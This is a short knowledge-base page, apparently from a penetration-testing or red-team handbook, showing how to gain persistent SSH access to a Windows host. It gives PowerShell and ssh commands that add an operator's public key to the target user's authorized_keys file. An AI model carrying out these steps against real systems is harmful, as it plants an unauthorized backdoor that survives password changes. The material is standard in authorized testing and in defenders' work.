Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 04. Windows / 03. Persistence / SSH

Current User Authorized Keys

This provides SSH access as the target user.

  1. Generate a key pair on the operator system
  2. Create the user's .ssh directory on the target
  3. Append the public key
  4. Connect with the private key

Generate a key pair:

ssh-keygen -t ed25519 -f ootw_ed25519 -N ""

Create the target user's SSH directory:

New-Item -ItemType Directory -Path "$env:USERPROFILE\.ssh" -Force

Append the public key:

Add-Content -Path "$env:USERPROFILE\.ssh\authorized_keys" -Value "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... ootw-lab"

Connect:

ssh -i ootw_ed25519 user@target